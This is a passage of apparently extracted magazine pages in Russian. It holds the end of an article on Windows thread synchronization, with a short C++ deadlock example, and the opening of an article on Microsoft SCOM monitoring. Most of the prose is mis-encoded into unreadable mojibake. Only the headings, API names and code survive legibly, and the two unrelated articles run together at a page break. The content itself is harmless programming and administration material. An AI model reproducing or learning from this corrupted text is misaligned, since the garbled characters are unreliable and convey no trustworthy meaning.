ÐÏÌÝÈÏÃÁÓÝ Ã ÕÔÎË×ÉàÖ ÏÇÉÅÁÎÉà WaitFor***. °Ï ÒÃÏÉÍ ÒÃÏÊÒÓÃÁÍ 
ËÑÉÓÉØÆÒËÉÆ ÒÆË×ÉÉ ÏØÆÎÝ ÐÏÖÏÇÉ ÎÁ ÍÝßÓÆËÒÜ — Ã ÉÖ ÒÌÔØÁÆ ÓÏÇÆ 
ÏÓÒÔÓÒÓÃÔÆÓ ÔÄÑÏÈÁ ÃÈÁÉÍÏÂÌÏËÉÑÏÃËÉ Ã ËÏÎÓÆËÒÓÆ ÏÅÎÏÄÏ ÐÏÓÏËÁ.
°ÆÑÆÅ ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ critical section ÒÌÆÅÔÆÓ ÒÎÁØÁÌÁ ÆÆ ÉÎÉ×ÉÁÌÉ-
ÈÉÑÏÃÁÓÝ. ¥Ìà ÞÓÏÄÏ ÐÏÓÑÆÂÔÆÓÒà API-ÕÔÎË×Éà InitializeCriticalSection. 
¦ÅÉÎÒÓÃÆÎÎÜÊ ÐÁÑÁÍÆÓÑ, ËÏÓÏÑÜÊ ÏÎÁ ÐÑÉÎÉÍÁÆÓ — ÞÓÏ ÔËÁÈÁÓÆÌÝ 
ÎÁ ÏÂÛÆËÓ ÓÉÐÁ CRITICAL_SECTION (ÐÁÍàÓÝ ÐÏÅ ÞÓÏÓ ÏÂÛÆËÓ ÒÌÆÅÔÆÓ 
ÃÜÅÆÌÉÓÝ ÈÁÑÁÎÆÆ).
°ÏÒÌÆ ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ Ò ËÑÉÓÉØÆÒËÏÊ ÒÆË×ÉÆÊ ÍÏÇÎÏ ÑÁÂÏÓÁÓÝ. 
µÔÎË×Éà EnterCriticalSection ÐÆÑÆÃÏÅÉÓ ÏÂÛÆËÓ CRITICAL_SECTION Ã 
ÒÏÒÓÏàÎÉÆ «ÈÁÎàÓÏ», ÐÏÒÌÆ ØÆÄÏ ÎÉ ÏÅÉÎ ÅÑÔÄÏÊ ÐÏÓÏË ÎÆ ÒÍÏÇÆÓ ÃÜ-
ÐÏÌÎÉÓÝ ËÏÅ ËÑÉÓÉØÆÒËÏÊ ÒÆË×ÉÉ. LeaveCriticalSection ÏÒÃÏÂÏÇÅÁÆÓ 
ÏÂÛÆËÓ.
¯ÂÆ API Ã ËÁØÆÒÓÃÆ ÐÁÑÁÍÆÓÑÁ ÐÑÉÎÉÍÁßÓ ÌÉÙÝ ÔËÁÈÁÓÆÌÝ ÎÁ ÉÎÉ-
×ÉÁÌÉÈÉÑÏÃÁÎÎÜÊ ÏÂÛÆËÓ ÒÆË×ÉÉ, ÎÆÌÝÈà ÈÁÅÁÓÝ ÎÉ ÃÑÆÍà ÏÇÉÅÁÎÉà, 
ÎÉ ÅÑÔÄÉÖ ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ ÏÐ×ÉÊ. ³Ï ÆÒÓÝ, ÕÔÎË×ÉÏÎÁÌÝÎÏ, ËÑÉÓÉ-
ØÆÒËÁà ÒÆË×Éà àÃÌàÆÓÒà ÔÑÆÈÁÎÎÜÍ ËÌÏÎÏÍ ÍÝßÓÆËÒÁ, ÎÏ Ã ÏÓÌÉØÉÆ 
ÏÓ ÐÏÒÌÆÅÎÆÄÏ, ÑÁÂÏÓÁ Ò ÎÆÊ ÐÑÏÉÒÖÏÅÉÓ ÐÏØÓÉ Ã 100 ÑÁÈ ÂÜÒÓÑÆÆ. Ü 
ÓÆÑàÆÍ Ã ÄÉÂËÏÒÓÉ, ÈÁÓÏ ÐÑÉÂÁÃÌàÆÍ Ã ÒËÏÑÏÒÓÉ.
«ÒÓÁÓÉ, ÎÁÒØÆÓ ÃÑÆÍÆÎÉ ÏÇÉÅÁÎÉà ÕÔÎË×ÉÆÊ EnterCriticalSection 
à ÎÆÍÎÏÄÏ ÒÏÃÑÁÌ. ̈ ÁÅÁÓÝ ÆÄÏ ÍÏÇÎÏ, ÎÏ ÓÏÌÝËÏ ÅÌà ÃÒÆÖ ËÑÉ-

Пример использования семафоров
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ÓÉØÆÒËÉÖ ÒÆË×ÉÊ ÒÑÁÈÔ É ÓÏÌÝËÏ Ã ÑÆÆÒÓÑÆ (ËÌßØ HKEY_LOCAL_
MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
CriticalSectionTimeout). °Ï ÉÒÓÆØÆÎÉÉ ÞÓÏÄÏ ÃÑÆÍÆÎÉ WINAPI ÄÆÎÆÑÉ-
ÑÔÆÓ ÉÒËÌßØÆÎÉÆ EXCEPTION_POSSIBLE_DEADLOCK, ËÏÓÏÑÏÆ ÃÐÏÌÎÆ 
ÍÏÇÆÓ ÏÈÎÁØÁÓÝ, ØÓÏ Ã ÐÑÉÌÏÇÆÎÉÉ ÒÌÔØÉÌÁÒÝ ÃÈÁÉÍÏÂÌÏËÉÑÏÃËÁ 
ÐÏÓÏËÏÃ — deadlock. ®Ï ÏÂ ÞÓÏÍ ØÔÓÝ ÐÏÈÇÆ, ÐÏËÁ ÒËÁÇÔ ÓÏÌÝËÏ, ØÓÏ ÎÆ 
ÒÓÏÉÓ ÞÓÉ ÉÒËÌßØÆÎÉà ÈÁÃÏÑÁØÉÃÁÓÝ Ã null.
°ÏÍÉÍÏ EnterCriticalSection ÆÒÓÝ ÆÚÆ TryEnterCriticalSection, ËÏÓÏÑÁà 
ÎÆ ÏÇÉÅÁÆÓ ÏÒÃÏÂÏÇÅÆÎÉà ÏÂÛÆËÓÁ ËÑÉÓÉØÆÒËÏÊ ÒÆË×ÉÉ, Á ÐÑÏÒÓÏ 
ÃÏÈÃÑÁÚÁÆÓ FALSE, ÆÒÌÉ ÐÏÓÏËÔ ÎÆ ÔÅÁÌÏÒÝ ÃÏÊÓÉ Ã critical section. 
¦ÒÌÉ ÃÒÆ ÎÏÑÍÁÌÝÎÏ, É ÏÂÛÆËÓ ÈÁÖÃÁØÆÎ, ÓÏ ÕÔÎË×Éà ÃÆÑÎÆÓ TRUE. © 
ÎÆ ÈÁÂÜÃÁÆÍ ÔÅÁÌàÓÝ ÏÂÛÆËÓÜ ÒÆË×ÉÊ, ËÏÄÅÁ ÏÎÉ ÂÏÌÝÙÆ ÎÆ ÎÔÇÎÜ, Ò 
ÐÏÍÏÚÝß DeleteCriticalSection.

Атомарные операции
¡ÓÏÍÁÑÎÜÆ ÏÐÆÑÁ×ÉÉ — ÞÓÏ ÆÚÆ ÏÅÉÎ ÃÉÅ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ Ã ÍÎÏÄÏÐÏ-
ÓÏØÎÜÖ ÐÑÉÌÏÇÆÎÉàÖ. ®Ï ÉÖ ÄÌÁÃÎÏÆ ÏÓÌÉØÉÆ ÏÓ ÃÒÆÄÏ ÐÑÏØÆÄÏ ÈÁËÌß-
ØÁÆÓÒà Ã ÓÏÍ, ØÓÏ ÏÎÉ ÃÜÐÏÌÎàßÓ ÌÉÙÝ ÐÑÏÒÓÜÆ ÅÆÊÒÓÃÉà. ¥Ìà ËÁÇÅÏÊ 
ÁÓÏÍÁÑÎÏÊ ÏÐÆÑÁ×ÉÉ ÆÒÓÝ ÒÃÏà API-ÕÔÎË×Éà. £ÒÆ ÞÓÉ API ÎÁØÉÎÁßÓÒà 
ÒÏ ÒÌÏÃÁ Interlocked, É ËÏÌÉØÆÒÓÃÏ ÉÖ ÐÏÓÑàÒÁÆÓ ÃÏÏÂÑÁÇÆÎÉÆ :). 
®ÁÐÑÉÍÆÑ, ÍÏÇÎÏ ÁÓÏÍÁÑÎÏ ÔÃÆÌÉØÉÓÝ ÉÌÉ ÔÍÆÎÝÙÉÓÝ ÎÁ ÆÅÉÎÉ×Ô 
ËÁËÔß-ÌÉÂÏ ÐÆÑÆÍÆÎÎÔß. ¾ÓÏ ÂÔÅÆÓ ÐÏÌÆÈÎÏ ÅÌà ÑÆÁÌÉÈÁ×ÉÉ ÒØÆÓØÉËÁ 
ÒÒÜÌÏË Ã ÍÔÌÝÓÉÐÏÓÏØÎÜÖ ÐÑÉÌÏÇÆÎÉàÖ.
²ËÏÑÏÒÓÝ ÃÜÐÏÌÎÆÎÉà ÁÓÏÍÁÑÎÜÖ ÏÐÆÑÁ×ÉÊ ÃÜÙÆ, ØÆÍ Ô ËÑÉÓÉØÆÒËÏÊ 
ÒÆË×ÉÉ. ¥ÆÌÏ Ã ÓÏÍ, ØÓÏ ÃÒÆ ÞÓÉ ËÏÍÁÎÅÜ ÐÏÅÅÆÑÇÉÃÁßÓÒà ÎÁ ÔÑÏÃÎÆ 
ÐÑÏ×ÆÒÒÏÑÁ, ÓÏ ÆÒÓÝ ËÏÍÐÉÌàÓÏÑ ÄÆÎÆÑÉÑÔÆÓ ÆÅÉÎÒÓÃÆÎÎÔß ËÏÍÁÎÅÔ Ã 
ÍÁÙÉÎÎÏÍ ËÏÅÆ, ËÏÓÏÑÁà ÃÜÐÏÌÎàÆÓÒà CPU Ã ÏÅÉÎ ÈÁÖÏÅ.

Deadlock
£ÆÑÎÆÍÒà Ë ÅÆÅÌÏËÁÍ. ¥Ìà ÓÏÄÏ ØÓÏÂÜ ÌÔØÙÆ ÐÏÎàÓÝ ÒÔÓÝ ÞÓÏÄÏ
àÃÌÆÎÉà, ÑÁÒÒÍÏÓÑÉÍ ÎÆÂÏÌÝÙÏÊ ÐÑÉÍÆÑ.

³ÔÓ ÃÏÈÍÏÇÆÎ deadlock

DWORD WINAPI thread1(LPVOID param)
{
   ::WaitForSingleObject(hEventA, INFINITE); 
   ...

   ::WaitForSingleObject(hEventB, INFINITE);
   ...
}

DWORD WINAPI thread2(LPVOID param)
{
   ::WaitForSingleObject(hEventB, INFINITE); 
   ...
   ::WaitForSingleObject(hEventA, INFINITE);
   ...
}

´ ÎÁÒ ÆÒÓÝ ÅÃÁ ÐÏÓÏËÁ, ËÏÓÏÑÜÆ ÐÏÏØÆÑÆÅÎÏ ÏÇÉÅÁßÓ ÅÃÁ ÉÃÆÎÓÁ: A É B. 
£ÏÈÍÏÇÎÁ ÓÁËÁà ÒÉÓÔÁ×Éà, ÐÑÉ ËÏÓÏÑÏÊ ÐÆÑÃÜÊ ÐÏÓÏË ÈÁÖÃÁÓÉÓ ÒÏÂÜÓÉÆ 
A É ÂÔÅÆÓ ÏÇÉÅÁÓÝ ÏÒÃÏÂÏÇÅÆÎÉà ÒÏÂÜÓÉà B, Á ÃÓÏÑÏÊ ÐÏÓÏË, ÎÁÏÂÏÑÏÓ, 
ÈÁÖÃÁÓÉÓ event B É ÂÔÅÆÓ ÇÅÁÓÝ A. £ ÞÓÏÍ ÒÌÔØÁÆ ÍÜ ÐÏÌÔØÉÍ ÃÈÁÉÍÏÂÌÏ-
ËÉÑÏÃËÔ, ËÏÓÏÑÁà ÐÑÉÃÆÅÆÓ Ë ÐÏÌÎÏÍÔ ÈÁÃÉÒÁÎÉß ÞÓÉÖ ÅÃÔÖ ÓÑÆÅÏÃ.
¥Ìà ÓÏÄÏ ØÓÏÂÜ ÞÓÏÄÏ ÉÈÂÆÇÁÓÝ, ÒÌÆÅÔÆÓ ÌÉÂÏ ÉÒÐÏÌÝÈÏÃÁÓÝ 
WaitForMultipleObjects Ò ÐÁÑÁÍÆÓÑÏÍ bWaitAll, ÑÁÃÎÜÍ TRUE, ÌÉÂÏ 
ÏÇÉÅÁÓÝ ÒÏÂÜÓÉà A É B Ã ÇÆÒÓËÏ ÏÄÏÃÏÑÆÎÎÜÍ ÐÏÑàÅËÆ. © ÓÏ É ÅÑÔÄÏÆ 
ÅÏÒÓÁÓÏØÎÏ ÒÌÏÇÎÏ ÒÅÆÌÁÓÝ Ã ÂÏÌÝÙÉÖ ÒÉÒÓÆÍÁÖ. °ÌßÒ ÅÆÅÌÏËÁÍ ÐÏÅ-
ÃÆÑÇÆÎÜ É ËÑÉÓÉØÆÒËÉÆ ÒÆË×ÉÉ, ÄÅÆ ÍÜ ÎÆ ÍÏÇÆÍ ÐÆÑÆÌÏÇÉÓÝ ÈÁÂÏÓÔ 
Ï ÎÉÖ ÎÁ ÐÌÆØÉ ̄ ², ÉÒÐÏÌÝÈÔà WaitForMultipleObjects.
¥Ìà ÑÆÙÆÎÉà ÞÓÏÊ ÐÑÏÂÌÆÍÜ ÉÒÐÏÌÝÈÔßÓÒà ÑÁÈÎÏÏÂÑÁÈÎÜÆ ÐÁÓÓÆÑÎÜ 
ÐÑÏÆËÓÉÑÏÃÁÎÉà, ËÏÓÏÑÜÆ ÐÏÍÏÄÁßÓ ÉÈÂÆÇÁÓÝ ÓÁËÉÖ ÎÆÐÑÉàÓÎÏÒÓÆÊ 
ÅÁÇÆ Ã ÒÁÍÜÖ ÈÁÐÔÓÁÎÎÜÖ ÒÉÓÔÁ×ÉàÖ. ®Ï, Ë ÒÏÇÁÌÆÎÉß, ÑÁÒÒËÁÈ Ï 
ÓÁËÉÖ ÐÑÉÆÍÁÖ ÓÑÆÂÔÆÓ ÏÓÅÆÌÝÎÏÊ ÒÓÁÓÝÉ, ÐÏÞÓÏÍÔ ÈÅÆÒÝ à ÏÄÑÁÎÉØÔÒÝ 
ÐÑÆÅÔÐÑÆÇÅÆÎÉÆÍ ÎÁÒØÆÓ ÓÏÄÏ, ØÆÄÏ ÒÓÏÉÓ ÏÐÁÒÁÓÝÒà ÐÑÉ ÑÁÂÏÓÆ Ò 
ÏÂÛÆËÓÁÍÉ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ.

Заключение
£ÒÆ, ØÓÏ ÂÜÌÏ ÏÐÉÒÁÎÏ ÃÜÙÆ, — ÌÉÙÝ ÃÆÑÖÔÙËÁ ÁÊÒÂÆÑÄÁ. £ ÑÁÍËÁÖ 
ÏÅÎÏÊ ÒÓÁÓÝÉ ÎÆÌÝÈà ÐÏÌÎÏÒÓÝß ÑÁÒËÑÜÓÝ ÓÆÍÔ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ ÐÏ-
ÓÏËÏÃ É ÒÏÃÍÆÒÓÎÏÄÏ ÅÏÒÓÔÐÁ Ë ÑÆÒÔÑÒÁÍ. ³ÆÍ ÎÆ ÍÆÎÆÆ, ÃÒÆ, ØÓÏ ÍÜ 
ÑÁÒÒÍÏÓÑÆÌÉ Ã ÞÓÏÊ ÒÓÁÓÝÆ, ÃÐÏÌÎÆ ÍÏÇÆÓ ÒÏÒÓÁÃÉÓÝ ÖÏÑÏÙÔß ÏÒÎÏÃÔ 
ÅÌà ÐÑÁÃÉÌÝÎÏÄÏ ÎÁÐÉÒÁÎÉà ÍÎÏÄÏÐÏÓÏØÎÜÖ ÐÑÉÌÏÇÆÎÉÊ, Á ËÏÎËÑÆÓ-
ÎÜÆ ÎßÁÎÒÜ — ÏÎÉ ÃÆÅÝ ÃÒÆ ÑÁÃÎÏ ÐÏÈÎÁßÓÒà ÎÁ ÐÑÁËÓÉËÆ. z
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 ²ÆÑÄÆÊ  «grinder» ÀÑÆÍØÔË  (grinder@tux.in.ua)

Управление большим количеством разнородных систем никогда не было, да и не могло быть про-
стым. Ведь в процессе работы необходимо отслеживать десятки параметров, вовремя диагностируя (и 
предотвращая) проблемы. Вручную это сложно, а написать соответствующие скрипты могут лишь са-
мые опытные админы. Впрочем, эти скрипты будут лишены визуального представления, так понятного 
начальству. 

SCOM: ðåøåíèå äëÿ ìîíèòîðèíãà è äèàãíîñòèêè 
ñèñòåì

Ñåòåâîé ýñêóëàï

Назначение и архитектура SCOM
¥Ìà ÔÐÑÁÃÌÆÎÉà ÒÌÏÇÎÜÍÉ ©³-ÉÎÕÑÁÒÓÑÔËÓÔÑÁÍÉ Microsoft 
ÐÑÆÅÌÁÄÁÆÓ ×ÆÌÜÊ ÑàÅ ÐÑÏÅÔËÓÏÃ System Center, ÐÏÈÃÏÌàßÚÉÖ 
ÔÐÑÏÒÓÉÓÝ ÍÎÏÇÆÒÓÃÏ ÑÔÓÉÎÎÜÖ ÈÁÅÁØ ÁÅÍÉÎÉÒÓÑÉÑÏÃÁÎÉà, ÐÏ-
ÃÜÒÉÃ ÞÕÕÆËÓÉÃÎÏÒÓÝ ÑÁÂÏÓÜ ÒÉÒÁÅÍÉÎÁ. °ÑÏÅÔËÓ SCOM 2007 R2 
(OpsMgr, System Center Operations Manager 2007 R2) ÐÏàÃÉÌÒà ËÁË 
ÅÁÌÝÎÆÊÙÆÆ ÑÁÈÃÉÓÉÆ ¯ 2005 (Microsoft Operations Manager). £ 
ÆÄÏ ÈÁÅÁØÉ ÃÖÏÅÉÓ ÒÏÂÉÑÁÓÝ ÃÒÆ ÇÔÑÎÁÌÜ Ã ÏÅÎÏÍ ÍÆÒÓÆ, ÔÐÑÁÃÌàÓÝ 
É ÍÏÎÉÓÏÑÉÓÝ ̄ ², ÒÆÑÃÉÒÜ É ÐÑÉÌÏÇÆÎÉà Ã ÄÆÓÆÑÏÄÆÎÎÏÊ ÒÑÆÅÆ 
Windows, Linux É UNIX. °ÑÆÉÍÔÚÆÒÓÃÏ SCOM — ÐÑÆÅÒÓÁÃÌÆÎÉÆ 
ÉÎÕÏÑÍÁ×ÉÉ ÏÂÏ ÃÒÆÖ ÏÓÒÌÆÇÉÃÁÆÍÜÖ ËÏÍÐÏÎÆÎÓÁÖ Ã ÆÅÉÎÏÊ 
ËÏÎÒÏÌÉ, ØÓÏ ÅÁÆÓ ÃÏÈÍÏÇÎÏÒÓÝ ÌÔØÙÆ ËÏÎÓÑÏÌÉÑÏÃÁÓÝ ÐÑÏÉÒÖÏÅà-
ÚÉÆ ÐÑÏ×ÆÒÒÜ. £ÒÆ ÅÁÎÎÜÆ ÒÃàÈÜÃÁßÓÒà Ã ÌÏÄÉØÆÒËÔß ×ÆÐÏØËÔ, ÓÏ 
ÆÒÓÝ, ÆÒÌÉ, ÎÁÐÑÉÍÆÑ, ÃÜÙÆÌ ÉÈ ÒÓÑÏà SQL-ÒÆÑÃÆÑ, ÁÅÍÉÎÉÒÓÑÁÓÏÑ 
ÐÏÌÔØÉÓ ÔÃÆÅÏÍÌÆÎÉà Ï ÓÏÍ, ØÓÏ ÃÒÆ ÃÈÁÉÍÏÒÃàÈÁÎÎÜÆ ÐÑÉÌÏÇÆÎÉà 
ÐÆÑÆÒÓÁÎÔÓ ÑÁÂÏÓÁÓÝ. 
¥Ìà ÍÏÎÉÓÏÑÉÎÄÁ ÉÒÐÏÌÝÈÔÆÓÒà ÎÆÒËÏÌÝËÏ ÒÑÆÅÒÓÃ. ²ÂÏÑ ÅÁÎÎÜÖ Ï 
ËÏÎÕÉÄÔÑÁ×ÉÉ ÒÉÒÓÆÍ É ÓÆËÔÚÆÍ ÒÏÒÓÏàÎÉÉ ÏÒÔÚÆÒÓÃÌàßÓ ÔÒÓÁÎÏÃ-
ÌÆÎÎÜÆ ÁÄÆÎÓÜ (ÒÌÔÇÂÁ ÔÐÑÁÃÌÆÎÉà System Center), ÏÓÐÑÁÃÌàßÚÉÆ 
ÃÒÆ ÒÏÂÑÁÎÎÏÆ ÎÁ ÒÆÑÃÆÑ ÔÐÑÁÃÌÆÎÉà (Management Server). £ 
ÒÌÔØÁÆ ÃÏÈÎÉËÎÏÃÆÎÉà ÐÑÏÂÌÆÍ ÁÄÆÎÓ ÎÆ ÓÏÌÝËÏ ÄÆÎÆÑÉÑÔÆÓ ÐÑÆÅ-
ÔÐÑÆÇÅÆÎÉÆ, ÎÏ É ÍÏÇÆÓ ÃÜÐÏÌÎÉÓÝ ÈÁÑÁÎÆÆ ÐÑÆÅÔÒÍÏÓÑÆÎÎÜÆ 
ÅÆÊÒÓÃÉà ÅÌà ÆÆ ÔÒÓÑÁÎÆÎÉà. £ÏÈÍÏÇÆÎ ÍÏÎÉÓÏÑÉÎÄ ÂÆÈ ÁÄÆÎÓÏÃ, 
ËÏÄÅÁ SCOM Ã ÓÏÍ ØÉÒÌÆ ÐÆÑÆÖÃÁÓÜÃÁÆÓ ÒÏÏÂÚÆÎÉà, ÏÓÐÑÁÃÌÆÎÎÜÆ 
ÒÌÔÇÂÏÊ «¥ÏËÓÏÑ £ÁÓÒÏÎ». °ÑÉ ÞÓÏÍ ÅÁÎÎÜÆ (ÐÑÉ ÐÏÍÏÚÉ RPC) 
ÒÆÑÃÆÑÏÍ ÔÐÑÁÃÌÆÎÉà ÂÔÅÔÓ ÒÏÂÉÑÁÓÝÒà ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ ÉÌÉ ÐÑÉ 
ÐÏÍÏÚÉ ÏÅÎÏÄÏ ÉÈ ËÏÍÐÝßÓÆÑÏÃ Ò ÔÒÓÁÎÏÃÌÆÎÎÜÍ ÁÄÆÎÓÏÍ-ÐÑÏËÒÉ. 
´ØÉÓÜÃÁà, ØÓÏ ÓÁËÏÊ ÐÏÅÖÏÅ ÂÏÌÆÆ ÑÆÒÔÑÒÏÆÍËÉÊ, ÑÆËÏÍÆÎÅÔÆÓÒà 
ÍÏÎÉÓÏÑÉÓÝ ÎÆ ÂÏÌÆÆ 10 ÂÆÈÁÄÆÎÓÎÜÖ ÒÉÒÓÆÍ ÎÁ ÏÅÉÎ ÒÆÑÃÆÑ ÔÐÑÁÃ-
ÌÆÎÉà É 60 — ÎÁ ÄÑÔÐÐÔ. £ ÑÁÈÃÆÓÃÌÆÎÎÏÊ ÒÆÓÉ ÏÂÜØÎÏ ÑÁÈÃÏÑÁØÉ-
ÃÁßÓ ÎÆÒËÏÌÝËÏ ÒÆÑÃÆÑÏÃ ÔÐÑÁÃÌÆÎÉà, ÏÅÉÎ ÉÈ ÎÉÖ (ÏÂÜØÎÏ ÐÆÑÃÜÊ 
ÔÒÓÁÎÏÃÌÆÎÎÜÊ) àÃÌàÆÓÒà ËÏÑÎÆÃÜÍ. £Òà ÒÏÂÑÁÎÎÁà ÉÎÕÏÑÍÁ×Éà 
ÒÏÖÑÁÎàÆÓÒà Ã ÎÆÒËÏÌÝËÉÖ ÂÁÈÁÖ MS SQL Server — ÏÐÆÑÁÓÉÃÎÁà (ÅÏ 
7 ÅÎÆÊ) É ÅÏÌÄÏÒÑÏØÎÁà (Datawarehouse, 1 ÄÏÅ). 
£ÒÆ ÞÌÆÍÆÎÓÜ ÏÂÛÆÅÉÎàßÓÒà Ã ÄÑÔÐÐÔ ÔÐÑÁÃÌÆÎÉà (Management 
Group), ËÏÓÏÑÁà ÐÑÆÅÒÓÁÃÌàÆÓ ÒÏÂÏÊ ÌÏÄÉØÆÒËÉ ÏÂÏÒÏÂÌÆÎÎÔß 
ÆÅÉÎÉ×Ô ÒÏ ÒÃÏÉÍÉ ÎÁÒÓÑÏÊËÁÍÉ, ÎÆËÏÆ ÐÏÅÏÂÉÆ workgroup Ã ÒÆÓÉ 
Windows. £ ÂÏÌÝÙÏÊ ÒÆÓÉ ÅÌà ÔÅÏÂÒÓÃÁ É ÂÆÈÏÐÁÒÎÏÒÓÉ ÍÏÇÎÏ ÉÒ-
ÐÏÌÝÈÏÃÁÓÝ ÎÆÒËÏÌÝËÏ MG, ÐÑÉØÆÍ ÁÄÆÎÓ ÍÏÇÆÓ ÏÓÐÑÁÃÌàÓÝ ÅÁÎÎÜÆ 
ØÆÓÜÑÆÍ ÄÑÔÐÐÁÍ.
£ ÑÁÈÃÆÓÃÌÆÎÎÜÖ ÒÆÓàÖ ÅÌà ÒÃàÈÉ Ò ÒÆÑÃÆÑÏÍ OpsMgr ÉÒÐÏÌÝÈÔßÓ 
ÙÌßÈ OpsMgr, ËÏÓÏÑÜÊ, àÃÌààÒÝ ÆÅÉÎÏÊ ÓÏØËÏÊ ÅÏÒÓÔÐÁ (ÐÑÏËÒÉ), 
ÏÓÃÆØÁÆÓ ÈÁ ÁÔÓÆÎÓÉÕÉËÁ×Éß ÁÄÆÎÓÏÃ. 
´ÐÑÁÃÌÆÎÉÆ ÐÑÏÉÈÃÏÅÉÓÒà ÐÑÉ ÐÏÍÏÚÉ ÄÑÁÕÉØÆÒËÏÊ ËÏÎÒÏÌÉ, ÃÆÂ-
ÉÎÓÆÑÕÆÊÒÁ ÉÌÉ ËÏÍÁÎÅÎÏÊ ÒÓÑÏËÉ PowerShell. £ ÉÎÓÆÑÎÆÓÆ ÍÏÇÎÏ 
ÎÁÊÓÉ ÅÆÒàÓËÉ ÄÏÓÏÃÜÖ PS-ÒËÑÉÐÓÏÃ ÐÑÁËÓÉØÆÒËÉ ÐÏÅ ÌßÂÜÆ ÈÁ-

ÅÁØÉ ÁÅÍÉÎÉÒÓÑÉÑÏÃÁÎÉà. ®ÁÐÑÉÍÆÑ, ÂÏÌÝÙÁà ËÏÌÌÆË×Éà ÒÏÂÑÁÎÁ 
ÎÁ ÐÏÑÓÁÌÆ System Center Central (systemcentercentral.com).
«ÏÌÉØÆÒÓÃÏ ÒÉÒÓÆÍ, ÑÆÒÔÑÒÏÃ É ÐÑÉÌÏÇÆÎÉÊ ÍÏÇÆÓ ÂÜÓÝ ÂÏÌÝÙÏÆ, 
ÃÑÔØÎÔß ÎÁÂÉÑÁÓÝ ÐÑÁÃÉÌÁ ÍÏÎÉÓÏÑÉÎÄÁ ÅÌà ÓÁËÏÄÏ ØÉÒÌÁ — ÈÁ-
ÅÁØÁ ÎÁÐÑàÇÎÁà. £ SCOM ÅÌà ÞÓÏÊ ×ÆÌÉ ÉÒÐÏÌÝÈÔßÓÒà ÐÁËÆÓÜ 
ÔÐÑÁÃÌÆÎÉà (Management Packs), ËÏÓÏÑÜÆ É ÒÏÅÆÑÇÁÓ ÃÒÆ ÎÆ-
ÏÂÖÏÅÉÍÏÆ. °Ï ÒÔÓÉ, ÃÎÔÓÑÉ ÏÐÉÒÁÎÉÆ ÐÑÉÌÏÇÆÎÉà, ÆÄÏ ÒÓÑÔËÓÔÑÁ, 
ÒÃàÈÉ Ò ÅÑÔÄÉÍÉ ÐÑÉÌÏÇÆÎÉàÍÉ É ÍÏÎÉÓÏÑÜ (ÒÏÒÓÏàÎÉÆ), ÈÁÅÁØÉ 
ÎÁ ÃÏÒÒÓÁÎÏÃÌÆÎÉÆ É ÓÁË ÅÁÌÆÆ. ©Ö ÎÁÌÉØÉÆ ÔÐÑÏÚÁÆÓ ÎÁÒÓÑÏÊËÔ 
É ÅÁÌÝÎÆÊÙÆÆ ÅÉÁÄÎÏÒÓÉÑÏÃÁÎÉÆ. ²ÏÂÒÓÃÆÎÎÏ MP É àÃÌàßÓÒà 
ÏÒÎÏÃÎÏÊ ÕÉÙËÏÊ SCOM, ÏÐÑÆÅÆÌàßÚÆÊ ÆÄÏ ÕÔÎË×ÉÏÎÁÌÝÎÏÒÓÝ. 
¸ÁÒÓÝ ÓÁËÉÖ ÐÁËÆÓÏÃ ÑÁÈÑÁÂÁÓÜÃÁÆÓÒà ÒÁÍÏÊ MS. °ÑÉØÆÍ ÐÏÒÌÆ 
ÃÜÖÏÅÁ ÎÏÃÏÄÏ ÐÑÏÅÔËÓÁ ÏÓ MS, ØÔÓÝ ÐÏÈÇÆ ÏÂÛàÃÌàÆÓÒà Ï ÐÏ-
àÃÌÆÎÉÉ ÒÏÏÓÃÆÓÒÓÃÔßÚÆÄÏ ÐÁËÆÓÁ. ³ÁË, ÎÁÐÑÉÍÆÑ, SCOM ÒÓÁÌ 
ÐÏÅÅÆÑÇÉÃÁÓÝ MS Forefront TMG, System Center Data Protection 
Manager 2010 É ÅÑÔÄÉÆ. «ÑÏÍÆ ÞÓÏÄÏ ÌßÂÁà ÒÓÏÑÏÎÎàà ËÏÍÐÁÎÉà 
ÉÌÉ ËÏÍÝßÎÉÓÉ ÍÏÇÆÓ ÅÏÂÁÃÉÓÝ ÐÁËÆÓ ÅÌà ÍÏÎÉÓÏÑÉÎÄÁ ÎÔÇÎÏÄÏ 
ÐÑÉÌÏÇÆÎÉà. ®ÆÏÂÖÏÅÉÍÜÆ ÒÒÜÌËÉ ÅÌà ÈÁËÁØËÉ ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ 
Management Packs ÍÏÇÎÏ ÎÁÊÓÉ ÎÁ ÅÏÍÁÙÎÆÊ ÒÓÑÁÎÉ×Æ SCOM 
ÉÌÉ ÒÓÏÑÏÎÎÉÖ ÑÆÒÔÑÒÁÖ (ÃÑÏÅÆ ÓÏÄÏ ÇÆ systemcentercentral.com). 
°ÑÉ ÇÆÌÁÎÉÉ ÌÆÄËÏ ÒÁÍÏÍÔ ÎÁÐÉÒÁÓÝ ÐÁËÆÓ, ÏÒÔÚÆÒÓÃÌàßÚÉÊ ÒÂÏÑ 
ÅÁÎÎÜÖ ÐÏ SNMP É ËÏÎÃÆÑÓÉÑÏÃÁÎÉÆ Ã ÕÏÑÍÁÓ, ÐÏÎàÓÎÜÊ SCOM. 
¦ÒÌÉ ÉÎÓÆÑÆÒÔÆÓ, ÎÁ TechNet ÅÏÒÓÔÐÎÏ ÐÏÅÑÏÂÎÏÆ ÏÐÉÒÁÎÉÆ. ²ÁÍÉ 
ÐÁËÆÓÜ ÍÏÄÔÓ ÂÜÓÝ ÅÃÏÉØÎÏÄÏ ÕÏÑÍÁÓÁ ÉÌÉ Ã ÃÉÅÆ XML-ÕÁÊÌÁ. 
°ÁÑÁÍÆÓÑÜ ÐÆÑÃÏÄÏ ÉÈÍÆÎÉÓÝ ÎÁÐÑàÍÔß ÎÆÌÝÈà, ÅÌà ÞÓÏÄÏ ÉÒÐÏÌÝ-
ÈÔßÓÒà ÐÆÑÆÏÐÑÆÅÆÌÆÎÉà. £ XML ÍÏÇÎÏ ÃÎÏÒÉÓÝ ÉÈÍÆÎÆÎÉà ËÁË 
